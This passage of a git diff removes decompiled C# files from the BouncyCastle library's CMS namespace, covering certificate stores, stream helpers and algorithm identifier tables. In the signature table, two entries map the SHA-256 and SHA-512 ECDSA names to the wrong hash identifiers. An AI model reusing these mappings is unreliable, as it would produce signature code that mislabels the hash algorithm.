{ - list.Add(new X509V2AttributeCertificate(Asn1Sequence.GetInstance(asn1TaggedObject, explicitly: false).GetEncoded())); - } - } - } - catch (Exception e) - { - throw new CmsException("can't re-encode attribute certificate!", e); - } - } - } - try - { - return X509StoreFactory.Create("AttributeCertificate/" + type, new X509CollectionStoreParameters(list)); - } - catch (ArgumentException e2) - { - throw new CmsException("can't setup the X509Store", e2); - } - } - - internal IX509Store CreateCertificateStore(string type, Asn1Set certSet) - { - IList list = Platform.CreateArrayList(); - if (certSet != null) - { - AddCertsFromSet(list, certSet); - } - try - { - return X509StoreFactory.Create("Certificate/" + type, new X509CollectionStoreParameters(list)); - } - catch (ArgumentException e) - { - throw new CmsException("can't setup the X509Store", e); - } - } - - internal IX509Store CreateCrlStore(string type, Asn1Set crlSet) - { - IList list = Platform.CreateArrayList(); - if (crlSet != null) - { - AddCrlsFromSet(list, crlSet); - } - try - { - return X509StoreFactory.Create("CRL/" + type, new X509CollectionStoreParameters(list)); - } - catch (ArgumentException e) - { - throw new CmsException("can't setup the X509Store", e); - } - } - - private void AddCertsFromSet(IList certs, Asn1Set certSet) - { - X509CertificateParser x509CertificateParser = new X509CertificateParser(); - foreach (Asn1Encodable item in certSet) - { - try - { - Asn1Object asn1Object = item.ToAsn1Object(); - if (asn1Object is Asn1Sequence) - { - certs.Add(x509CertificateParser.ReadCertificate(asn1Object.GetEncoded())); - } - } - catch (Exception e) - { - throw new CmsException("can't re-encode certificate!", e); - } - } - } - - private void AddCrlsFromSet(IList crls, Asn1Set crlSet) - { - X509CrlParser x509CrlParser = new X509CrlParser(); - foreach (Asn1Encodable item in crlSet) - { - try - { - crls.Add(x509CrlParser.ReadCrl(item.GetEncoded())); - } - catch (Exception e) - { - throw new CmsException("can't re-encode CRL!", e); - } - } - } - - internal AlgorithmIdentifier FixAlgID(AlgorithmIdentifier algId) - { - if (algId.Parameters == null) - { - return new AlgorithmIdentifier(algId.Algorithm, DerNull.Instance); - } - return algId; - } - - internal string GetEncOid(AsymmetricKeyParameter key, string digestOID) - { - string text = null; - if (key is RsaKeyParameters) - { - if (!((RsaKeyParameters)key).IsPrivate) - { - throw new ArgumentException("Expected RSA private key"); - } - text = CmsSignedGenerator.EncryptionRsa; - } - else if (key is DsaPrivateKeyParameters) - { - if (digestOID.Equals(CmsSignedGenerator.DigestSha1)) - { - text = CmsSignedGenerator.EncryptionDsa; - } - else if (digestOID.Equals(CmsSignedGenerator.DigestSha224)) - { - text = NistObjectIdentifiers.DsaWithSha224.Id; - } - else if (digestOID.Equals(CmsSignedGenerator.DigestSha256)) - { - text = NistObjectIdentifiers.DsaWithSha256.Id; - } - else if (digestOID.Equals(CmsSignedGenerator.DigestSha384)) - { - text = NistObjectIdentifiers.DsaWithSha384.Id; - } - else - { - if (!digestOID.Equals(CmsSignedGenerator.DigestSha512)) - { - throw new ArgumentException("can't mix DSA with anything but SHA1/SHA2"); - } - text = NistObjectIdentifiers.DsaWithSha512.Id; - } - } - else if (key is ECPrivateKeyParameters) - { - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)key; - string algorithmName = eCPrivateKeyParameters.AlgorithmName; - if (algorithmName == "ECGOST3410") - { - text = CmsSignedGenerator.EncryptionECGost3410; - } - else - { - text = (string)ecAlgorithms[digestOID]; - if (text == null) - { - throw new ArgumentException("can't mix ECDSA with anything but SHA family digests"); - } - } - } - else - { - if (!(key is Gost3410PrivateKeyParameters)) - { - throw new ArgumentException("Unknown algorithm in CmsSignedGenerator.GetEncOid"); - } - text = CmsSignedGenerator.EncryptionGost3410; - } - return text; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsStreamException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsStreamException.cs deleted file mode 100644 index 792f2aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsStreamException.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Cms; - -[Serializable] -public class CmsStreamException : IOException -{ - public CmsStreamException() - { - } - - public CmsStreamException(string name) - : base(name) - { - } - - public CmsStreamException(string name, Exception e) - : base(name, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsTypedStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsTypedStream.cs deleted file mode 100644 index 716cc28..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsTypedStream.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsTypedStream -{ - private class FullReaderStream : FilterStream - { - internal FullReaderStream(Stream input) - : base(input) - { - } - - public override int Read(byte[] buf, int off, int len) - { - return Streams.ReadFully(s, buf, off, len); - } - } - - private const int BufferSize = 32768; - - private readonly string _oid; - - private readonly Stream _in; - - public string ContentType => _oid; - - public Stream ContentStream => _in; - - public CmsTypedStream(Stream inStream) - : this(PkcsObjectIdentifiers.Data.Id, inStream, 32768) - { - } - - public CmsTypedStream(string oid, Stream inStream) - : this(oid, inStream, 32768) - { - } - - public CmsTypedStream(string oid, Stream inStream, int bufSize) - { - _oid = oid; - _in = new FullReaderStream(new BufferedStream(inStream, bufSize)); - } - - public void Drain() - { - Streams.Drain(_in); - Platform.Dispose(_in); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsUtilities.cs deleted file mode 100644 index 21e3aec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsUtilities.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -internal class CmsUtilities -{ - internal static int MaximumMemory - { - get - { - long num = 2147483647L; - if (num > int.MaxValue) - { - return int.MaxValue; - } - return (int)num; - } - } - - internal static ContentInfo ReadContentInfo(byte[] input) - { - return ReadContentInfo(new Asn1InputStream(input)); - } - - internal static ContentInfo ReadContentInfo(Stream input) - { - return ReadContentInfo(new Asn1InputStream(input, MaximumMemory)); - } - - private static ContentInfo ReadContentInfo(Asn1InputStream aIn) - { - try - { - return ContentInfo.GetInstance(aIn.ReadObject()); - } - catch (IOException e) - { - throw new CmsException("IOException reading content.", e); - } - catch (InvalidCastException e2) - { - throw new CmsException("Malformed content.", e2); - } - catch (ArgumentException e3) - { - throw new CmsException("Malformed content.", e3); - } - } - - public static byte[] StreamToByteArray(Stream inStream) - { - return Streams.ReadAll(inStream); - } - - public static byte[] StreamToByteArray(Stream inStream, int limit) - { - return Streams.ReadAllLimited(inStream, limit); - } - - public static IList GetCertificatesFromStore(IX509Store certStore) - { - try - { - IList list = Platform.CreateArrayList(); - if (certStore != null) - { - foreach (X509Certificate match in certStore.GetMatches(null)) - { - list.Add(X509CertificateStructure.GetInstance(Asn1Object.FromByteArray(match.GetEncoded()))); - } - } - return list; - } - catch (CertificateEncodingException e) - { - throw new CmsException("error encoding certs", e); - } - catch (Exception e2) - { - throw new CmsException("error processing certs", e2); - } - } - - public static IList GetCrlsFromStore(IX509Store crlStore) - { - try - { - IList list = Platform.CreateArrayList(); - if (crlStore != null) - { - foreach (X509Crl match in crlStore.GetMatches(null)) - { - list.Add(CertificateList.GetInstance(Asn1Object.FromByteArray(match.GetEncoded()))); - } - } - return list; - } - catch (CrlException e) - { - throw new CmsException("error encoding crls", e); - } - catch (Exception e2) - { - throw new CmsException("error processing crls", e2); - } - } - - public static Asn1Set CreateBerSetFromList(IList berObjects) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (Asn1Encodable berObject in berObjects) - { - asn1EncodableVector.Add(berObject); - } - return new BerSet(asn1EncodableVector); - } - - public static Asn1Set CreateDerSetFromList(IList derObjects) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (Asn1Encodable derObject in derObjects) - { - asn1EncodableVector.Add(derObject); - } - return new DerSet(asn1EncodableVector); - } - - internal static Stream CreateBerOctetOutputStream(Stream s, int tagNo, bool isExplicit, int bufferSize) - { - BerOctetStringGenerator berOctetStringGenerator = new BerOctetStringGenerator(s, tagNo, isExplicit); - return berOctetStringGenerator.GetOctetOutputStream(bufferSize); - } - - internal static TbsCertificateStructure GetTbsCertificateStructure(X509Certificate cert) - { - return TbsCertificateStructure.GetInstance(Asn1Object.FromByteArray(cert.GetTbsCertificate())); - } - - internal static IssuerAndSerialNumber GetIssuerAndSerialNumber(X509Certificate cert) - { - TbsCertificateStructure tbsCertificateStructure = GetTbsCertificateStructure(cert); - return new IssuerAndSerialNumber(tbsCertificateStructure.Issuer, tbsCertificateStructure.SerialNumber.Value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CounterSignatureDigestCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CounterSignatureDigestCalculator.cs deleted file mode 100644 index dd3682e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CounterSignatureDigestCalculator.cs +++ /dev/null @@ -1,23 +0,0 @@ -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -internal class CounterSignatureDigestCalculator : IDigestCalculator -{ - private readonly string alg; - - private readonly byte[] data; - - internal CounterSignatureDigestCalculator(string alg, byte[] data) - { - this.alg = alg; - this.data = data; - } - - public byte[] GetDigest() - { - IDigest digestInstance = CmsSignedHelper.Instance.GetDigestInstance(alg); - return DigestUtilities.DoFinal(digestInstance, data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultAuthenticatedAttributeTableGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultAuthenticatedAttributeTableGenerator.cs deleted file mode 100644 index b712e64..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultAuthenticatedAttributeTableGenerator.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class DefaultAuthenticatedAttributeTableGenerator : CmsAttributeTableGenerator -{ - private readonly IDictionary table; - - public DefaultAuthenticatedAttributeTableGenerator() - { - table = Platform.CreateHashtable(); - } - - public DefaultAuthenticatedAttributeTableGenerator(AttributeTable attributeTable) - { - if (attributeTable != null) - { - table = attributeTable.ToDictionary(); - } - else - { - table = Platform.CreateHashtable(); - } - } - - protected virtual IDictionary CreateStandardAttributeTable(IDictionary parameters) - { - IDictionary dictionary = Platform.CreateHashtable(table); - if (!dictionary.Contains(CmsAttributes.ContentType)) - { - DerObjectIdentifier obj = (DerObjectIdentifier)parameters[CmsAttributeTableParameter.ContentType]; - Attribute attribute = new Attribute(CmsAttributes.ContentType, new DerSet(obj)); - dictionary[attribute.AttrType] = attribute; - } - if (!dictionary.Contains(CmsAttributes.MessageDigest)) - { - byte[] str = (byte[])parameters[CmsAttributeTableParameter.Digest]; - Attribute attribute2 = new Attribute(CmsAttributes.MessageDigest, new DerSet(new DerOctetString(str))); - dictionary[attribute2.AttrType] = attribute2; - } - return dictionary; - } - - public virtual AttributeTable GetAttributes(IDictionary parameters) - { - IDictionary attrs = CreateStandardAttributeTable(parameters); - return new AttributeTable(attrs); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultDigestAlgorithmIdentifierFinder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultDigestAlgorithmIdentifierFinder.cs deleted file mode 100644 index b189d9e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultDigestAlgorithmIdentifierFinder.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class DefaultDigestAlgorithmIdentifierFinder -{ - private static readonly IDictionary digestOids; - - private static readonly IDictionary digestNameToOids; - - static DefaultDigestAlgorithmIdentifierFinder() - { - digestOids = Platform.CreateHashtable(); - digestNameToOids = Platform.CreateHashtable(); - digestOids.Add(OiwObjectIdentifiers.MD4WithRsaEncryption, PkcsObjectIdentifiers.MD4); - digestOids.Add(OiwObjectIdentifiers.MD4WithRsa, PkcsObjectIdentifiers.MD4); - digestOids.Add(OiwObjectIdentifiers.MD5WithRsa, PkcsObjectIdentifiers.MD5); - digestOids.Add(OiwObjectIdentifiers.Sha1WithRsa, OiwObjectIdentifiers.IdSha1); - digestOids.Add(OiwObjectIdentifiers.DsaWithSha1, OiwObjectIdentifiers.IdSha1); - digestOids.Add(PkcsObjectIdentifiers.Sha224WithRsaEncryption, NistObjectIdentifiers.IdSha224); - digestOids.Add(PkcsObjectIdentifiers.Sha256WithRsaEncryption, NistObjectIdentifiers.IdSha256); - digestOids.Add(PkcsObjectIdentifiers.Sha384WithRsaEncryption, NistObjectIdentifiers.IdSha384); - digestOids.Add(PkcsObjectIdentifiers.Sha512WithRsaEncryption, NistObjectIdentifiers.IdSha512); - digestOids.Add(PkcsObjectIdentifiers.MD2WithRsaEncryption, PkcsObjectIdentifiers.MD2); - digestOids.Add(PkcsObjectIdentifiers.MD4WithRsaEncryption, PkcsObjectIdentifiers.MD4); - digestOids.Add(PkcsObjectIdentifiers.MD5WithRsaEncryption, PkcsObjectIdentifiers.MD5); - digestOids.Add(PkcsObjectIdentifiers.Sha1WithRsaEncryption, OiwObjectIdentifiers.IdSha1); - digestOids.Add(X9ObjectIdentifiers.ECDsaWithSha1, OiwObjectIdentifiers.IdSha1); - digestOids.Add(X9ObjectIdentifiers.ECDsaWithSha224, NistObjectIdentifiers.IdSha224); - digestOids.Add(X9ObjectIdentifiers.ECDsaWithSha256, NistObjectIdentifiers.IdSha256); - digestOids.Add(X9ObjectIdentifiers.ECDsaWithSha384, NistObjectIdentifiers.IdSha384); - digestOids.Add(X9ObjectIdentifiers.ECDsaWithSha512, NistObjectIdentifiers.IdSha512); - digestOids.Add(X9ObjectIdentifiers.IdDsaWithSha1, OiwObjectIdentifiers.IdSha1); - digestOids.Add(NistObjectIdentifiers.DsaWithSha224, NistObjectIdentifiers.IdSha224); - digestOids.Add(NistObjectIdentifiers.DsaWithSha256, NistObjectIdentifiers.IdSha256); - digestOids.Add(NistObjectIdentifiers.DsaWithSha384, NistObjectIdentifiers.IdSha384); - digestOids.Add(NistObjectIdentifiers.DsaWithSha512, NistObjectIdentifiers.IdSha512); - digestOids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128, TeleTrusTObjectIdentifiers.RipeMD128); - digestOids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160, TeleTrusTObjectIdentifiers.RipeMD160); - digestOids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256, TeleTrusTObjectIdentifiers.RipeMD256); - digestOids.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94, CryptoProObjectIdentifiers.GostR3411); - digestOids.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001, CryptoProObjectIdentifiers.GostR3411); - digestNameToOids.Add("SHA-1", OiwObjectIdentifiers.IdSha1); - digestNameToOids.Add("SHA-224", NistObjectIdentifiers.IdSha224); - digestNameToOids.Add("SHA-256", NistObjectIdentifiers.IdSha256); - digestNameToOids.Add("SHA-384", NistObjectIdentifiers.IdSha384); - digestNameToOids.Add("SHA-512", NistObjectIdentifiers.IdSha512); - digestNameToOids.Add("SHA1", OiwObjectIdentifiers.IdSha1); - digestNameToOids.Add("SHA224", NistObjectIdentifiers.IdSha224); - digestNameToOids.Add("SHA256", NistObjectIdentifiers.IdSha256); - digestNameToOids.Add("SHA384", NistObjectIdentifiers.IdSha384); - digestNameToOids.Add("SHA512", NistObjectIdentifiers.IdSha512); - digestNameToOids.Add("SHA3-224", NistObjectIdentifiers.IdSha3_224); - digestNameToOids.Add("SHA3-256", NistObjectIdentifiers.IdSha3_256); - digestNameToOids.Add("SHA3-384", NistObjectIdentifiers.IdSha3_384); - digestNameToOids.Add("SHA3-512", NistObjectIdentifiers.IdSha3_512); - digestNameToOids.Add("SHAKE-128", NistObjectIdentifiers.IdShake128); - digestNameToOids.Add("SHAKE-256", NistObjectIdentifiers.IdShake256); - digestNameToOids.Add("GOST3411", CryptoProObjectIdentifiers.GostR3411); - digestNameToOids.Add("MD2", PkcsObjectIdentifiers.MD2); - digestNameToOids.Add("MD4", PkcsObjectIdentifiers.MD4); - digestNameToOids.Add("MD5", PkcsObjectIdentifiers.MD5); - digestNameToOids.Add("RIPEMD128", TeleTrusTObjectIdentifiers.RipeMD128); - digestNameToOids.Add("RIPEMD160", TeleTrusTObjectIdentifiers.RipeMD160); - digestNameToOids.Add("RIPEMD256", TeleTrusTObjectIdentifiers.RipeMD256); - } - - public AlgorithmIdentifier find(AlgorithmIdentifier sigAlgId) - { - if (sigAlgId.Algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - return RsassaPssParameters.GetInstance(sigAlgId.Parameters).HashAlgorithm; - } - return new AlgorithmIdentifier((DerObjectIdentifier)digestOids[sigAlgId.Algorithm], DerNull.Instance); - } - - public AlgorithmIdentifier find(string digAlgName) - { - return new AlgorithmIdentifier((DerObjectIdentifier)digestNameToOids[digAlgName], DerNull.Instance); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignatureAlgorithmIdentifierFinder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignatureAlgorithmIdentifierFinder.cs deleted file mode 100644 index 5fe99b7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignatureAlgorithmIdentifierFinder.cs +++ /dev/null @@ -1,291 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.BC; -using Org.BouncyCastle.Asn1.Bsi; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Eac; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Cms; - -public class DefaultSignatureAlgorithmIdentifierFinder -{ - private static readonly IDictionary algorithms; - - private static readonly ISet noParams; - - private static readonly IDictionary _params; - - private static readonly ISet pkcs15RsaEncryption; - - private static readonly IDictionary digestOids; - - private static readonly IDictionary digestBuilders; - - private static readonly DerObjectIdentifier ENCRYPTION_RSA; - - private static readonly DerObjectIdentifier ENCRYPTION_DSA; - - private static readonly DerObjectIdentifier ENCRYPTION_ECDSA; - - private static readonly DerObjectIdentifier ENCRYPTION_RSA_PSS; - - private static readonly DerObjectIdentifier ENCRYPTION_GOST3410; - - private static readonly DerObjectIdentifier ENCRYPTION_ECGOST3410; - - private static readonly DerObjectIdentifier ENCRYPTION_ECGOST3410_2012_256; - - private static readonly DerObjectIdentifier ENCRYPTION_ECGOST3410_2012_512; - - static DefaultSignatureAlgorithmIdentifierFinder() - { - algorithms = Platform.CreateHashtable(); - noParams = new HashSet(); - _params = Platform.CreateHashtable(); - pkcs15RsaEncryption = new HashSet(); - digestOids = Platform.CreateHashtable(); - digestBuilders = Platform.CreateHashtable(); - ENCRYPTION_RSA = PkcsObjectIdentifiers.RsaEncryption; - ENCRYPTION_DSA = X9ObjectIdentifiers.IdDsaWithSha1; - ENCRYPTION_ECDSA = X9ObjectIdentifiers.ECDsaWithSha1; - ENCRYPTION_RSA_PSS = PkcsObjectIdentifiers.IdRsassaPss; - ENCRYPTION_GOST3410 = CryptoProObjectIdentifiers.GostR3410x94; - ENCRYPTION_ECGOST3410 = CryptoProObjectIdentifiers.GostR3410x2001; - ENCRYPTION_ECGOST3410_2012_256 = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256; - ENCRYPTION_ECGOST3410_2012_512 = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512; - algorithms["MD2WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.MD2WithRsaEncryption; - algorithms["MD2WITHRSA"] = PkcsObjectIdentifiers.MD2WithRsaEncryption; - algorithms["MD5WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.MD5WithRsaEncryption; - algorithms["MD5WITHRSA"] = PkcsObjectIdentifiers.MD5WithRsaEncryption; - algorithms["SHA1WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.Sha1WithRsaEncryption; - algorithms["SHA1WITHRSA"] = PkcsObjectIdentifiers.Sha1WithRsaEncryption; - algorithms["SHA-1WITHRSA"] = PkcsObjectIdentifiers.Sha1WithRsaEncryption; - algorithms["SHA224WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.Sha224WithRsaEncryption; - algorithms["SHA224WITHRSA"] = PkcsObjectIdentifiers.Sha224WithRsaEncryption; - algorithms["SHA256WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.Sha256WithRsaEncryption; - algorithms["SHA256WITHRSA"] = PkcsObjectIdentifiers.Sha256WithRsaEncryption; - algorithms["SHA384WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.Sha384WithRsaEncryption; - algorithms["SHA384WITHRSA"] = PkcsObjectIdentifiers.Sha384WithRsaEncryption; - algorithms["SHA512WITHRSAENCRYPTION"] = PkcsObjectIdentifiers.Sha512WithRsaEncryption; - algorithms["SHA512WITHRSA"] = PkcsObjectIdentifiers.Sha512WithRsaEncryption; - algorithms["SHA1WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA224WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA256WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA384WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA512WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA3-224WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA3-256WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA3-384WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["SHA3-512WITHRSAANDMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - algorithms["RIPEMD160WITHRSAENCRYPTION"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160; - algorithms["RIPEMD160WITHRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160; - algorithms["RIPEMD128WITHRSAENCRYPTION"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128; - algorithms["RIPEMD128WITHRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128; - algorithms["RIPEMD256WITHRSAENCRYPTION"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256; - algorithms["RIPEMD256WITHRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256; - algorithms["SHA1WITHDSA"] = X9ObjectIdentifiers.IdDsaWithSha1; - algorithms["SHA-1WITHDSA"] = X9ObjectIdentifiers.IdDsaWithSha1; - algorithms["DSAWITHSHA1"] = X9ObjectIdentifiers.IdDsaWithSha1; - algorithms["SHA224WITHDSA"] = NistObjectIdentifiers.DsaWithSha224; - algorithms["SHA256WITHDSA"] = NistObjectIdentifiers.DsaWithSha256; - algorithms["SHA384WITHDSA"] = NistObjectIdentifiers.DsaWithSha384; - algorithms["SHA512WITHDSA"] = NistObjectIdentifiers.DsaWithSha512; - algorithms["SHA3-224WITHDSA"] = NistObjectIdentifiers.IdDsaWithSha3_224; - algorithms["SHA3-256WITHDSA"] = NistObjectIdentifiers.IdDsaWithSha3_256; - algorithms["SHA3-384WITHDSA"] = NistObjectIdentifiers.IdDsaWithSha3_384; - algorithms["SHA3-512WITHDSA"] = NistObjectIdentifiers.IdDsaWithSha3_512; - algorithms["SHA3-224WITHECDSA"] = NistObjectIdentifiers.IdEcdsaWithSha3_224; - algorithms["SHA3-256WITHECDSA"] = NistObjectIdentifiers.IdEcdsaWithSha3_256; - algorithms["SHA3-384WITHECDSA"] = NistObjectIdentifiers.IdEcdsaWithSha3_384; - algorithms["SHA3-512WITHECDSA"] = NistObjectIdentifiers.IdEcdsaWithSha3_512; - algorithms["SHA3-224WITHRSA"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_224; - algorithms["SHA3-256WITHRSA"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_256; - algorithms["SHA3-384WITHRSA"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_384; - algorithms["SHA3-512WITHRSA"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_512; - algorithms["SHA3-224WITHRSAENCRYPTION"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_224; - algorithms["SHA3-256WITHRSAENCRYPTION"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_256; - algorithms["SHA3-384WITHRSAENCRYPTION"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_384; - algorithms["SHA3-512WITHRSAENCRYPTION"] = NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_512; - algorithms["SHA1WITHECDSA"] = X9ObjectIdentifiers.ECDsaWithSha1; - algorithms["ECDSAWITHSHA1"] = X9ObjectIdentifiers.ECDsaWithSha1; - algorithms["SHA224WITHECDSA"] = X9ObjectIdentifiers.ECDsaWithSha224; - algorithms["SHA256WITHECDSA"] = X9ObjectIdentifiers.ECDsaWithSha224; - algorithms["SHA384WITHECDSA"] = X9ObjectIdentifiers.ECDsaWithSha384; - algorithms["SHA512WITHECDSA"] = X9ObjectIdentifiers.ECDsaWithSha256; - algorithms["GOST3411WITHGOST3410"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94; - algorithms["GOST3411WITHGOST3410-94"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94; - algorithms["GOST3411WITHECGOST3410"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001; - algorithms["GOST3411WITHECGOST3410-2001"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001; - algorithms["GOST3411WITHGOST3410-2001"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001; - algorithms["GOST3411WITHECGOST3410-2012-256"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256; - algorithms["GOST3411WITHECGOST3410-2012-512"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512; - algorithms["GOST3411WITHGOST3410-2012-256"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256; - algorithms["GOST3411WITHGOST3410-2012-512"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512; - algorithms["GOST3411-2012-256WITHECGOST3410-2012-256"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256; - algorithms["GOST3411-2012-512WITHECGOST3410-2012-512"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512; - algorithms["GOST3411-2012-256WITHGOST3410-2012-256"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256; - algorithms["GOST3411-2012-512WITHGOST3410-2012-512"] = RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512; - algorithms["SHA1WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA1; - algorithms["SHA224WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA224; - algorithms["SHA256WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA256; - algorithms["SHA384WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA384; - algorithms["SHA512WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA512; - algorithms["RIPEMD160WITHPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_RIPEMD160; - algorithms["SHA1WITHCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_1; - algorithms["SHA224WITHCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_224; - 